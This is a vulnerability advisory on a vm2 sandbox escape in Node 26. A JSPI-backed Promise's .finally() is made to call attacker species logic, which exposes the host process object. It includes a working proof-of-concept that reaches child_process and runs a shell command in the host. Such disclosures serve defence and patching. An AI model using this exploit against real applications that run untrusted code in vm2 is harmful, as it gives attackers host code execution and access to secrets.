Description

vm2 sandbox escape via JSPI-backed Promise .finally() species bypass

Summary

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));...
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Impact

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

any application using vm2 to execute attacker-controlled JavaScript as a security boundary

especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)

Practical impact:

arbitrary command execution in the host process

arbitrary file read / write accessible to the host process

theft of secrets, tokens, credentials, and application data

complete compromise of services relying on vm2 isolation

Mitigation

Aliases

References